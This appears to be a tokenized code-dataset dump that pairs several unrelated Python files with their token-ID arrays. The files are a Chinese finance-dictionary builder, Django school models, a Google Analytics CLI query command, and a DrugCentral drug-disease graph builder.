# -*- coding: UTF-8 -*- from pyhanlp import * from DataBaseOperator import DBConnector class DicBuilder: def __init__(self, id=-1): """ 构建金融行业字典 :param id: 从数据库中通过index选择文本,默认-1即全选 """ self.id = id self.stopWords_path = r'EmotionBasedDic/stopwords.txt' self.negativeWords_path = r'EmotionBasedDic/TsingHua/tsinghua.negative.gb.txt' self.positiveWords_path = r'EmotionBasedDic/TsingHua/tsinghua.positive.gb.txt' self.financeDic_path = r'EmotionBasedDic/FinanceWordDic.txt' def loadContent(self): """ 加载数据库中的文本 :return: ((文本,),) """ dbConnector = DBConnector.DBConnector() data = dbConnector.selectContent(self.id) return data def split_word(self, data): """ 使用hanlp进行分词 :param data:传入文本 :return: """ splitWords = HanLP.segment(data) tmp = [] for i in splitWords: tmp.append(str(i).split('/')) return tmp def remove_attribute(self, data): """ 去除词性 :param data:传入[[文本,词性],]的列表 :return: [文本,] """ wordList = [] for i in data: wordList.append(i[0]) return wordList def rubbish_dic(self): """ 生成需要去除的词汇列表(停止词,感情词汇,标点符号) :return:[无用词汇,] """ with open(self.stopWords_path, encoding='utf8') as file: stopWords = file.readlines() for i in range(len(stopWords)): stopWords[i] = stopWords[i].strip() with open(self.negativeWords_path, encoding='gbk') as file: negativeWords = file.readlines() for i in range(len(negativeWords)): negativeWords[i] = negativeWords[i].strip() with open(self.positiveWords_path, encoding='gbk') as file: positiveWords = file.readlines() for i in range(len(positiveWords)): positiveWords[i] = positiveWords[i].strip() punctuationList = list(r"""!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~“”?,!【】()、。:;’‘……¥·""") emptyList = [''] return stopWords + negativeWords + positiveWords + punctuationList + emptyList def remove_rubbish(self, data, rubbishList): """ 移除文本列表中的垃圾词汇 :param data: 待移除垃圾词汇的列表[文本,] :param rubbishList: 垃圾词汇列表 :return: 移除垃圾词汇后的文本列表 """ tmp = data for i in tmp: if i.strip() in rubbishList or self.is_number(i.strip()): tmp.remove(i) return tmp def is_number(self, n): """ 判断参数是否为数字 :param n:传入待判断参数 :return: 若为数字则True,其他False """ try: float(n) except: return False return True def remove_duplicate(self, data): """ 去除列表重复值 :param:data:传入待去重列表 :return: 返回去重后的列表 """ tmp = set(data) return list(tmp) def write_dic(self, data): """ 将金融词典写入FinanceWordDic.txt :param data: 去除垃圾词后的词汇列表 """ with open(self.financeDic_path, 'w', encoding='utf8') as file: for i in data: file.write(i + '\n') def build_dic(self): """ 建立金融行业相关字典 :return: 字典 """ data = self.loadContent() rubbishDic = self.rubbish_dic() wordList = [] for d in data: print(d) wordList += self.split_word(d[0]) wordList = self.remove_attribute(wordList) wordList = self.remove_duplicate(wordList) self.remove_rubbish(wordList, rubbishDic) self.write_dic(wordList) print('字典构建已完成!') return wordList # if __name__ == '__main__': # test = DicBuilder() # test.build_dic()
[ 1, 396, 448, 29930, 29899, 14137, 29901, 18351, 29899, 29947, 448, 29930, 29899, 13, 3166, 11451, 5403, 22833, 1053, 334, 13, 3166, 3630, 5160, 26486, 1053, 6535, 20971, 2801, 13, 13, 13, 1990, 28550, 5627, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1178, 10457, 29896, 1125, 13, 4706, 9995, 13, 308, 31901, 30886, 30659, 235, 161, 144, 30448, 31729, 30578, 31259, 13, 13, 4706, 584, 3207, 1178, 29901, 29871, 31594, 30354, 30763, 31700, 30275, 30768, 31138, 2248, 31333, 233, 142, 172, 30333, 30346, 30214, 31735, 31439, 29899, 29896, 232, 144, 182, 30753, 31333, 13, 4706, 9995, 13, 4706, 1583, 29889, 333, 353, 1178, 13, 4706, 1583, 29889, 9847, 29956, 4339, 29918, 2084, 353, 364, 29915, 6026, 8194, 29933, 1463, 29928, 293, 29914, 9847, 9303, 29889, 3945, 29915, 13, 4706, 1583, 29889, 22198, 29956, 4339, 29918, 2084, 353, 364, 29915, 6026, 8194, 29933, 1463, 29928, 293, 29914, 29911, 2976, 29950, 3357, 29914, 1372, 292, 29882, 3357, 29889, 22198, 29889, 26300, 29889, 3945, 29915, 13, 4706, 1583, 29889, 1066, 3321, 29956, 4339, 29918, 2084, 353, 364, 29915, 6026, 8194, 29933, 1463, 29928, 293, 29914, 29911, 2976, 29950, 3357, 29914, 1372, 292, 29882, 3357, 29889, 1066, 3321, 29889, 26300, 29889, 3945, 29915, 13, 4706, 1583, 29889, 4951, 749, 29928, 293, 29918, 2084, 353, 364, 29915, 6026, 8194, 29933, 1463, 29928, 293, 29914, 12881, 749, 14463, 29928, 293, 29889, 3945, 29915, 13, 13, 1678, 822, 2254, 3916, 29898, 1311, 1125, 13, 4706, 9995, 13, 308, 30666, 31526, 30354, 30763, 31700, 30275, 30210, 30333, 30346, 13, 13, 4706, 584, 2457, 29901, 29871, 30419, 30419, 30333, 30346, 29892, 30409, 29892, 30409, 13, 4706, 9995, 13, 4706, 4833, 20971, 2801, 353, 6535, 20971, 2801, 29889, 4051, 20971, 2801, 580, 13, 4706, 848, 353, 4833, 20971, 2801, 29889, 2622, 3916, 29898, 1311, 29889, 333, 29897, 13, 13, 4706, 736, 848, 13, 13, 1678, 822, 6219, 29918, 1742, 29898, 1311, 29892, 848, 1125, 13, 4706, 9995, 13, 308, 30785, 30406, 5403, 22833, 31174, 30448, 30748, 235, 178, 144, 13, 13, 4706, 584, 3207, 848, 29901, 31471, 30752, 30333, 30346, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 6219, 29956, 4339, 353, 7169, 13208, 29889, 28192, 29898, 1272, 29897, 13, 4706, 13128, 353, 5159, 13, 4706, 363, 474, 297, 6219, 29956, 4339, 29901, 13, 9651, 13128, 29889, 4397, 29898, 710, 29898, 29875, 467, 5451, 11219, 8785, 13, 13, 4706, 736, 13128, 13, 13, 1678, 822, 3349, 29918, 12715, 29898, 1311, 29892, 848, 1125, 13, 4706, 9995, 13, 308, 31475, 31152, 235, 178, 144, 30952, 13, 13, 4706, 584, 3207, 848, 29901, 31471, 30752, 8999, 30333, 30346, 29892, 235, 178, 144, 30952, 1402, 29962, 30210, 31025, 30746, 13, 4706, 584, 2457, 29901, 518, 30333, 30346, 26073, 13, 4706, 9995, 13, 4706, 1734, 1293, 353, 5159, 13, 4706, 363, 474, 297, 848, 29901, 13, 9651, 1734, 1293, 29889, 4397, 29898, 29875, 29961, 29900, 2314, 13, 13, 4706, 736, 1734, 1293, 13, 13, 1678, 822, 14051, 29890, 728, 29918, 27774, 29898, 1311, 1125, 13, 4706, 9995, 13, 308, 30486, 30494, 31383, 30698, 31475, 31152, 30210, 235, 178, 144, 233, 180, 138, 31025, 30746, 30419, 232, 132, 159, 31981, 235, 178, 144, 30214, 233, 135, 162, 30993, 235, 178, 144, 233, 180, 138, 30214, 31062, 30940, 31277, 30850, 30409, 13, 13, 4706, 584, 2457, 10834, 31352, 30406, 235, 178, 144, 233, 180, 138, 26073, 13, 4706, 9995, 13, 4706, 411, 1722, 29898, 1311, 29889, 9847, 29956, 4339, 29918, 2084, 29892, 8025, 2433, 9420, 29947, 1495, 408, 934, 29901, 13, 9651, 5040, 29956, 4339, 353, 934, 29889, 949, 9012, 580, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 9847, 29956, 4339, 22164, 13, 9651, 5040, 29956, 4339, 29961, 29875, 29962, 353, 5040, 29956, 4339, 29961, 29875, 1822, 17010, 580, 13, 13, 4706, 411, 1722, 29898, 1311, 29889, 22198, 29956, 4339, 29918, 2084, 29892, 8025, 2433, 26300, 29895, 1495, 408, 934, 29901, 13, 9651, 8178, 29956, 4339, 353, 934, 29889, 949, 9012, 580, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 22198, 29956, 4339, 22164, 13, 9651, 8178, 29956, 4339, 29961, 29875, 29962, 353, 8178, 29956, 4339, 29961, 29875, 1822, 17010, 580, 13, 13, 4706, 411, 1722, 29898, 1311, 29889, 1066, 3321, 29956, 4339, 29918, 2084, 29892, 8025, 2433, 26300, 29895, 1495, 408, 934, 29901, 13, 9651, 6374, 29956, 4339, 353, 934, 29889, 949, 9012, 580, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 1066, 3321, 29956, 4339, 22164, 13, 9651, 6374, 29956, 4339, 29961, 29875, 29962, 353, 6374, 29956, 4339, 29961, 29875, 1822, 17010, 580, 13, 13, 4706, 6035, 22999, 362, 1293, 353, 1051, 29898, 29878, 15945, 29908, 3850, 29937, 29938, 29995, 29987, 29915, 580, 29930, 29974, 6653, 6904, 29901, 29936, 29966, 4261, 29973, 29992, 7110, 29962, 29985, 29918, 29952, 28437, 29913, 30022, 30015, 30024, 30882, 30214, 30584, 31478, 31472, 30419, 30409, 30330, 30267, 30383, 31608, 30010, 30086, 30098, 30098, 242, 194, 168, 30064, 15945, 1159, 13, 13, 4706, 4069, 1293, 353, 6024, 2033, 13, 13, 4706, 736, 5040, 29956, 4339, 718, 8178, 29956, 4339, 718, 6374, 29956, 4339, 718, 6035, 22999, 362, 1293, 718, 4069, 1293, 13, 13, 1678, 822, 3349, 29918, 29878, 431, 29890, 728, 29898, 1311, 29892, 848, 29892, 14051, 29890, 728, 1293, 1125, 13, 4706, 9995, 13, 308, 31618, 31152, 30333, 30346, 31025, 30746, 30275, 30210, 232, 161, 134, 232, 159, 193, 235, 178, 144, 233, 180, 138, 13, 13, 4706, 584, 3207, 848, 29901, 29871, 232, 193, 136, 31618, 31152, 232, 161, 134, 232, 159, 193, 235, 178, 144, 233, 180, 138, 30210, 31025, 30746, 29961, 30333, 30346, 26073, 13, 4706, 584, 3207, 14051, 29890, 728, 1293, 29901, 29871, 232, 161, 134, 232, 159, 193, 235, 178, 144, 233, 180, 138, 31025, 30746, 13, 4706, 584, 2457, 29901, 29871, 31618, 31152, 232, 161, 134, 232, 159, 193, 235, 178, 144, 233, 180, 138, 30822, 30210, 30333, 30346, 31025, 30746, 13, 4706, 9995, 13, 4706, 13128, 353, 848, 13, 4706, 363, 474, 297, 13128, 29901, 13, 9651, 565, 474, 29889, 17010, 580, 297, 14051, 29890, 728, 1293, 470, 1583, 29889, 275, 29918, 4537, 29898, 29875, 29889, 17010, 580, 1125, 13, 18884, 13128, 29889, 5992, 29898, 29875, 29897, 13, 13, 4706, 736, 13128, 13, 13, 1678, 822, 338, 29918, 4537, 29898, 1311, 29892, 302, 1125, 13, 4706, 9995, 13, 308, 31791, 31683, 31125, 30354, 30392, 31191, 30573, 30354, 30578, 13, 13, 4706, 584, 3207, 302, 29901, 31471, 30752, 232, 193, 136, 31791, 31683, 31125, 30354, 13, 4706, 584, 2457, 29901, 29871, 31653, 30573, 30354, 30578, 31403, 5574, 29892, 31149, 31221, 8824, 13, 4706, 9995, 13, 4706, 1018, 29901, 13, 9651, 5785, 29898, 29876, 29897, 13, 4706, 5174, 29901, 13, 9651, 736, 7700, 13, 13, 4706, 736, 5852, 13, 13, 1678, 822, 3349, 29918, 20908, 5926, 29898, 1311, 29892, 848, 1125, 13, 4706, 9995, 13, 308, 31475, 31152, 31025, 30746, 30908, 31810, 30959, 13, 13, 4706, 584, 3207, 29901, 1272, 29901, 31471, 30752, 232, 193, 136, 31475, 30908, 31025, 30746, 13, 4706, 584, 2457, 29901, 29871, 31086, 30742, 31475, 30908, 30822, 30210, 31025, 30746, 13, 4706, 9995, 13, 4706, 13128, 353, 731, 29898, 1272, 29897, 13, 4706, 736, 1051, 29898, 7050, 29897, 13, 13, 1678, 822, 2436, 29918, 27774, 29898, 1311, 29892, 848, 1125, 13, 4706, 9995, 13, 308, 30998, 30659, 235, 161, 144, 235, 178, 144, 31259, 31479, 30752, 12881, 749, 14463, 29928, 293, 29889, 3945, 13, 13, 4706, 584, 3207, 848, 29901, 29871, 31475, 31152, 232, 161, 134, 232, 159, 193, 235, 178, 144, 30822, 30210, 235, 178, 144, 233, 180, 138, 31025, 30746, 13, 4706, 9995, 13, 4706, 411, 1722, 29898, 1311, 29889, 4951, 749, 29928, 293, 29918, 2084, 29892, 525, 29893, 742, 8025, 2433, 9420, 29947, 1495, 408, 934, 29901, 13, 9651, 363, 474, 297, 848, 29901, 13, 18884, 934, 29889, 3539, 29898, 29875, 718, 11297, 29876, 1495, 13, 13, 1678, 822, 2048, 29918, 27774, 29898, 1311, 1125, 13, 4706, 9995, 13, 308, 30886, 30939, 30659, 235, 161, 144, 30448, 31729, 30990, 31057, 30578, 31259, 13, 13, 4706, 584, 2457, 29901, 29871, 30578, 31259, 13, 4706, 9995, 13, 4706, 848, 353, 1583, 29889, 1359, 3916, 580, 13, 4706, 14051, 29890, 728, 29928, 293, 353, 1583, 29889, 29878, 431, 29890, 728, 29918, 27774, 580, 13, 4706, 1734, 1293, 353, 5159, 13, 4706, 363, 270, 297, 848, 29901, 13, 9651, 1596, 29898, 29881, 29897, 13, 9651, 1734, 1293, 4619, 1583, 29889, 5451, 29918, 1742, 29898, 29881, 29961, 29900, 2314, 13, 4706, 1734, 1293, 353, 1583, 29889, 5992, 29918, 12715, 29898, 1742, 1293, 29897, 13, 4706, 1734, 1293, 353, 1583, 29889, 5992, 29918, 20908, 5926, 29898, 1742, 1293, 29897, 13, 4706, 1583, 29889, 5992, 29918, 29878, 431, 29890, 728, 29898, 1742, 1293, 29892, 14051, 29890, 728, 29928, 293, 29897, 13, 4706, 1583, 29889, 3539, 29918, 27774, 29898, 1742, 1293, 29897, 13, 4706, 1596, 877, 30578, 31259, 31901, 30886, 31290, 31366, 30494, 30584, 1495, 13, 4706, 736, 1734, 1293, 13, 13, 29937, 565, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 29937, 268, 1243, 353, 28550, 5627, 580, 13, 29937, 268, 1243, 29889, 4282, 29918, 27774, 580, 13, 2 ]
src/school_college/models.py
paceite/Seelife---An-NGO-Website
0
168308
from django.db import models from django.contrib.auth import get_user_model, authenticate, login, logout User = get_user_model() # Create your models here. class Teacher(models.Model): name = models.CharField(max_length=100) email = models.EmailField(max_length=255, unique=True, verbose_name='email address') class Parents(models.Model): name = models.CharField(max_length=100) email = models.EmailField(max_length=255, unique=True, verbose_name='email address') class Student(models.Model): name = models.CharField(max_length=100) school = models.CharField(max_length=100) is_present = models.BooleanField(default=False) teacher = models.ForeignKey(Teacher, on_delete=models.CASCADE) parents = models.ForeignKey(Parents, on_delete=models.CASCADE)
[ 1, 515, 9557, 29889, 2585, 1053, 4733, 13, 3166, 9557, 29889, 21570, 29889, 5150, 1053, 679, 29918, 1792, 29918, 4299, 29892, 15585, 403, 29892, 6464, 29892, 1480, 449, 13, 13, 2659, 353, 679, 29918, 1792, 29918, 4299, 580, 13, 13, 29937, 6204, 596, 4733, 1244, 29889, 13, 13, 1990, 1920, 11665, 29898, 9794, 29889, 3195, 1125, 13, 1678, 1024, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29896, 29900, 29900, 29897, 13, 1678, 4876, 353, 4733, 29889, 9823, 3073, 29898, 3317, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 5412, 29922, 5574, 29892, 26952, 29918, 978, 2433, 5269, 3211, 1495, 13, 13, 1990, 1459, 1237, 29898, 9794, 29889, 3195, 1125, 13, 1678, 1024, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29896, 29900, 29900, 29897, 13, 1678, 4876, 353, 4733, 29889, 9823, 3073, 29898, 3317, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 5412, 29922, 5574, 29892, 26952, 29918, 978, 2433, 5269, 3211, 1495, 13, 13, 1990, 15740, 29898, 9794, 29889, 3195, 1125, 13, 1678, 1024, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29896, 29900, 29900, 29897, 13, 1678, 3762, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29896, 29900, 29900, 29897, 13, 1678, 338, 29918, 6338, 353, 4733, 29889, 18146, 3073, 29898, 4381, 29922, 8824, 29897, 13, 1678, 15703, 353, 4733, 29889, 27755, 2558, 29898, 29911, 4204, 261, 29892, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29897, 13, 1678, 11825, 353, 4733, 29889, 27755, 2558, 29898, 2177, 1237, 29892, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29897, 13, 2 ]
googleanalytics/commands/query.py
ruber0id/google-analytics
170
84439
# encoding: utf-8 import json import yaml import click import googleanalytics as ga from googleanalytics import utils from .common import cli # TODO: the blueprint stuff can probably be simplified so that # it's little more than just a call to ga.describe def from_blueprint(scope, src): description = yaml.load(src) blueprint = ga.Blueprint(description) credentials = {} credentials.update(blueprint.identity or {}) credentials.update(blueprint.scope) profile = ga.authenticate(interactive=True, save=True, **credentials) return blueprint.queries(profile) # TODO: add any query generation improvements not associated with # string parsing back into blueprint generation and query.refine # so they apply across the board def from_args(scope, metrics, start, stop, days, limit, dimensions, filter, segment, **description): # LIMIT can be a plain limit or start and length if limit: limit = list(map(int, limit.split(','))) description.update({ 'range': { 'start': start, 'stop': stop, 'days': days, }, 'metrics': utils.cut(metrics, ','), 'limit': limit, }) if dimensions: description['dimensions'] = utils.cut(dimensions, ',') query = ga.query.describe(scope, description) for f in filter: query = ga.query.refine(query, {'filter': dict(utils.cut(f, '=', ','))}) for s in segment: query = ga.query.refine(query, {'segment': dict(utils.cut(s, '=', ','))}) return [query] # TODO: maybe include an --interactive option, which defers # to `shell` but with a prefilled query? @cli.command() @click.argument('metrics') @click.option('--dimensions') @click.option('--start', help='Start date in ISO format, e.g. 2016-01-01.') @click.option('--stop') @click.option('--days', help='Days to count forward from start date, counts backwards when negative.', default=0, type=int) @click.option('--limit', help='Return only the first <n> or <start>,<n> results.') @click.option('--sort', help='Sort by a metric; prefix with - to sort from high to low.') @click.option('--debug', is_flag=True) @click.option('--filter', multiple=True) @click.option('--segment', multiple=True) @click.option('--precision', type=click.IntRange(0, 2), default=1, help='Increase or decrease query precision.') @click.option('-i', '--interval', type=click.Choice(['hour', 'day', 'week', 'month', 'year', 'total']), default='total', help='Return hourly, daily etc. numbers.') @click.option('-o', '--output', type=click.Choice(['csv', 'json', 'ascii']), default='ascii', help='Output format; human-readable ascii table by default.') @click.option('--with-metadata', is_flag=True) @click.option('-b', '--blueprint', type=click.File('r')) @click.option('--realtime', is_flag=True, help='Use the RealTime API instead of the Core API.') @click.pass_obj def query(scope, blueprint, debug, output, with_metadata, realtime, **description): """ e.g. googleanalytics --identity debrouwere --account debrouwere --webproperty http://debrouwere.org \ query pageviews \ --start yesterday --limit -10 --sort -pageviews \ --dimensions pagepath \ --debug """ if realtime: description['type'] = 'realtime' if blueprint: queries = from_blueprint(scope, blueprint) else: if not isinstance(scope, ga.account.Profile): raise ValueError("Account and webproperty needed for query.") queries = from_args(scope, **description) for query in queries: if debug: click.echo(query.build()) report = query.serialize(format=output, with_metadata=with_metadata) click.echo(report)
[ 1, 396, 8025, 29901, 23616, 29899, 29947, 13, 13, 5215, 4390, 13, 5215, 343, 8807, 13, 5215, 2828, 13, 13, 5215, 5386, 7054, 22026, 408, 10364, 13, 3166, 5386, 7054, 22026, 1053, 3667, 29879, 13, 3166, 869, 9435, 1053, 9335, 13, 13, 13, 29937, 14402, 29901, 278, 7254, 2158, 6433, 508, 3117, 367, 20875, 577, 393, 13, 29937, 372, 29915, 29879, 2217, 901, 1135, 925, 263, 1246, 304, 10364, 29889, 2783, 29581, 13, 1753, 515, 29918, 9539, 2158, 29898, 6078, 29892, 4765, 1125, 13, 1678, 6139, 353, 343, 8807, 29889, 1359, 29898, 4351, 29897, 13, 1678, 7254, 2158, 353, 10364, 29889, 21319, 2158, 29898, 8216, 29897, 13, 1678, 16140, 353, 6571, 13, 1678, 16140, 29889, 5504, 29898, 9539, 2158, 29889, 22350, 470, 426, 1800, 13, 1678, 16140, 29889, 5504, 29898, 9539, 2158, 29889, 6078, 29897, 13, 1678, 8722, 353, 10364, 29889, 27218, 403, 29898, 1639, 4925, 29922, 5574, 29892, 4078, 29922, 5574, 29892, 3579, 11944, 9409, 29897, 13, 1678, 736, 7254, 2158, 29889, 339, 6358, 29898, 10185, 29897, 13, 13, 13, 29937, 14402, 29901, 788, 738, 2346, 12623, 28473, 451, 6942, 411, 13, 29937, 1347, 13755, 1250, 964, 7254, 2158, 12623, 322, 2346, 29889, 999, 457, 13, 29937, 577, 896, 3394, 4822, 278, 7613, 13, 1753, 515, 29918, 5085, 29898, 6078, 29892, 21556, 29892, 13, 4706, 1369, 29892, 5040, 29892, 3841, 29892, 4046, 29892, 13, 4706, 13391, 29892, 4175, 29892, 10768, 29892, 13, 4706, 3579, 8216, 1125, 13, 13, 1678, 396, 27848, 508, 367, 263, 8656, 4046, 470, 1369, 322, 3309, 13, 1678, 565, 4046, 29901, 13, 4706, 4046, 353, 1051, 29898, 1958, 29898, 524, 29892, 4046, 29889, 5451, 29898, 3788, 4961, 13, 13, 1678, 6139, 29889, 5504, 3319, 13, 4706, 525, 3881, 2396, 426, 13, 9651, 525, 2962, 2396, 1369, 29892, 13, 9651, 525, 9847, 2396, 5040, 29892, 13, 9651, 525, 16700, 2396, 3841, 29892, 13, 9651, 2981, 13, 4706, 525, 2527, 10817, 2396, 3667, 29879, 29889, 7582, 29898, 2527, 10817, 29892, 13420, 5477, 13, 4706, 525, 13400, 2396, 4046, 29892, 13, 4706, 5615, 13, 13, 1678, 565, 13391, 29901, 13, 4706, 6139, 1839, 6229, 5580, 2033, 353, 3667, 29879, 29889, 7582, 29898, 6229, 5580, 29892, 13420, 1495, 13, 13, 1678, 2346, 353, 10364, 29889, 1972, 29889, 2783, 29581, 29898, 6078, 29892, 6139, 29897, 13, 13, 1678, 363, 285, 297, 4175, 29901, 13, 4706, 2346, 353, 10364, 29889, 1972, 29889, 999, 457, 29898, 1972, 29892, 11117, 4572, 2396, 9657, 29898, 13239, 29889, 7582, 29898, 29888, 29892, 525, 29922, 742, 525, 5501, 876, 1800, 13, 13, 1678, 363, 269, 297, 10768, 29901, 13, 4706, 2346, 353, 10364, 29889, 1972, 29889, 999, 457, 29898, 1972, 29892, 11117, 28192, 2396, 9657, 29898, 13239, 29889, 7582, 29898, 29879, 29892, 525, 29922, 742, 525, 5501, 876, 1800, 13, 13, 1678, 736, 518, 1972, 29962, 13, 13, 13, 29937, 14402, 29901, 5505, 3160, 385, 1192, 1639, 4925, 2984, 29892, 607, 822, 414, 13, 29937, 304, 421, 15903, 29952, 541, 411, 263, 758, 26940, 2346, 29973, 13, 29992, 11303, 29889, 6519, 580, 13, 29992, 3808, 29889, 23516, 877, 2527, 10817, 1495, 13, 29992, 3808, 29889, 3385, 877, 489, 6229, 5580, 1495, 13, 29992, 3808, 29889, 3385, 877, 489, 2962, 742, 13, 1678, 1371, 2433, 4763, 2635, 297, 17723, 3402, 29892, 321, 29889, 29887, 29889, 29871, 29906, 29900, 29896, 29953, 29899, 29900, 29896, 29899, 29900, 29896, 29889, 1495, 13, 29992, 3808, 29889, 3385, 877, 489, 9847, 1495, 13, 29992, 3808, 29889, 3385, 877, 489, 16700, 742, 13, 1678, 1371, 2433, 25991, 304, 2302, 6375, 515, 1369, 2635, 29892, 18139, 28953, 746, 8178, 29889, 742, 13, 1678, 2322, 29922, 29900, 29892, 13, 1678, 1134, 29922, 524, 29897, 13, 29992, 3808, 29889, 3385, 877, 489, 13400, 742, 13, 1678, 1371, 2433, 11609, 871, 278, 937, 529, 29876, 29958, 470, 529, 2962, 10202, 29966, 29876, 29958, 2582, 29889, 1495, 13, 29992, 3808, 29889, 3385, 877, 489, 6605, 742, 13, 1678, 1371, 2433, 13685, 491, 263, 12714, 29936, 10944, 411, 448, 304, 2656, 515, 1880, 304, 4482, 29889, 1495, 13, 29992, 3808, 29889, 3385, 877, 489, 8382, 742, 13, 1678, 338, 29918, 15581, 29922, 5574, 29897, 13, 29992, 3808, 29889, 3385, 877, 489, 4572, 742, 13, 1678, 2999, 29922, 5574, 29897, 13, 29992, 3808, 29889, 3385, 877, 489, 28192, 742, 13, 1678, 2999, 29922, 5574, 29897, 13, 29992, 3808, 29889, 3385, 877, 489, 17990, 2459, 742, 13, 1678, 1134, 29922, 3808, 29889, 2928, 6069, 29898, 29900, 29892, 29871, 29906, 511, 13, 1678, 2322, 29922, 29896, 29892, 13, 1678, 1371, 2433, 797, 1037, 559, 470, 23806, 2346, 16716, 29889, 1495, 13, 29992, 3808, 29889, 3385, 877, 29899, 29875, 742, 525, 489, 19207, 742, 13, 1678, 1134, 29922, 3808, 29889, 29620, 18959, 18721, 742, 525, 3250, 742, 525, 18448, 742, 525, 10874, 742, 525, 6360, 742, 525, 7827, 2033, 511, 13, 1678, 2322, 2433, 7827, 742, 13, 1678, 1371, 2433, 11609, 7234, 368, 29892, 14218, 2992, 29889, 3694, 29889, 1495, 13, 29992, 3808, 29889, 3385, 877, 29899, 29877, 742, 525, 489, 4905, 742, 13, 1678, 1134, 29922, 3808, 29889, 29620, 18959, 7638, 742, 525, 3126, 742, 525, 294, 18869, 2033, 511, 13, 1678, 2322, 2433, 294, 18869, 742, 13, 1678, 1371, 2433, 6466, 3402, 29936, 5199, 29899, 949, 519, 408, 18869, 1591, 491, 2322, 29889, 1495, 13, 29992, 3808, 29889, 3385, 877, 489, 2541, 29899, 19635, 742, 13, 1678, 338, 29918, 15581, 29922, 5574, 29897, 13, 29992, 3808, 29889, 3385, 877, 29899, 29890, 742, 525, 489, 9539, 2158, 742, 13, 1678, 1134, 29922, 3808, 29889, 2283, 877, 29878, 8785, 13, 29992, 3808, 29889, 3385, 877, 489, 276, 1997, 603, 742, 13, 1678, 338, 29918, 15581, 29922, 5574, 29892, 13, 1678, 1371, 2433, 11403, 278, 8195, 2481, 3450, 2012, 310, 278, 10239, 3450, 29889, 1495, 13, 29992, 3808, 29889, 3364, 29918, 5415, 13, 1753, 2346, 29898, 6078, 29892, 7254, 2158, 29892, 4744, 29892, 1962, 29892, 411, 29918, 19635, 29892, 1855, 2230, 29892, 3579, 8216, 1125, 13, 1678, 9995, 13, 1678, 321, 29889, 29887, 29889, 13, 13, 4706, 5386, 7054, 22026, 1192, 22350, 316, 1182, 7100, 406, 1192, 10149, 316, 1182, 7100, 406, 1192, 2676, 6799, 1732, 597, 311, 1182, 7100, 406, 29889, 990, 320, 13, 9651, 2346, 1813, 7406, 320, 13, 9651, 1192, 2962, 22600, 1192, 13400, 448, 29896, 29900, 1192, 6605, 448, 3488, 7406, 320, 13, 9651, 1192, 6229, 5580, 1813, 2084, 320, 13, 9651, 1192, 8382, 13, 13, 1678, 9995, 13, 13, 1678, 565, 1855, 2230, 29901, 13, 4706, 6139, 1839, 1853, 2033, 353, 525, 276, 1997, 603, 29915, 13, 13, 1678, 565, 7254, 2158, 29901, 13, 4706, 9365, 353, 515, 29918, 9539, 2158, 29898, 6078, 29892, 7254, 2158, 29897, 13, 1678, 1683, 29901, 13, 4706, 565, 451, 338, 8758, 29898, 6078, 29892, 10364, 29889, 10149, 29889, 13909, 1125, 13, 9651, 12020, 7865, 2392, 703, 10601, 322, 1856, 6799, 4312, 363, 2346, 23157, 13, 13, 4706, 9365, 353, 515, 29918, 5085, 29898, 6078, 29892, 3579, 8216, 29897, 13, 13, 1678, 363, 2346, 297, 9365, 29901, 13, 4706, 565, 4744, 29901, 13, 9651, 2828, 29889, 8057, 29898, 1972, 29889, 4282, 3101, 13, 13, 4706, 3461, 353, 2346, 29889, 643, 6646, 29898, 4830, 29922, 4905, 29892, 411, 29918, 19635, 29922, 2541, 29918, 19635, 29897, 13, 4706, 2828, 29889, 8057, 29898, 12276, 29897, 13, 2 ]
src/drugcentral.py
AstrorEnales/GenCoNet
2
100087
<filename>src/drugcentral.py #!/usr/bin/env python3 import io import csv from model.network import Network from model.drug import Drug from model.disease import Disease from model.edge import Edge network = Network() with io.open('../data/DrugCentral/drugcentral_mappings.csv', 'r', encoding='utf-8', newline='') as f: reader = csv.reader(f, delimiter=',', quotechar='"') next(reader, None) for row in reader: ids = ['DrugCentral:%s' % row[0], 'DrugBank:%s' % row[1]] if row[2]: ids.append('RxNorm:%s' % row[2]) network.add_node(Drug(ids, [row[3]])) with io.open('../data/DrugCentral/drugcentral_indications.csv', 'r', encoding='utf-8', newline='') as f: reader = csv.reader(f, delimiter=',', quotechar='"') next(reader, None) for row in reader: disease = Disease(['SnoMedCT:%s' % row[2], 'UMLS:%s' % row[3]], [row[1]]) network.add_node(disease) drug = network.get_node_by_id('DrugBank:%s' % row[0], 'Drug') e = Edge(drug, disease, 'INDICATES', {'source': 'DrugCentral'}) network.add_edge(e) with io.open('../data/DrugCentral/drugcentral_contraindications.csv', 'r', encoding='utf-8', newline='') as f: reader = csv.reader(f, delimiter=',', quotechar='"') next(reader, None) for row in reader: disease = Disease(['SnoMedCT:%s' % row[2], 'UMLS:%s' % row[3]], [row[1]]) network.add_node(disease) drug = network.get_node_by_id('DrugBank:%s' % row[0], 'Drug') e = Edge(drug, disease, 'CONTRAINDICATES', {'source': 'DrugCentral'}) network.add_edge(e) network.save('../data/DrugCentral/graph.json')
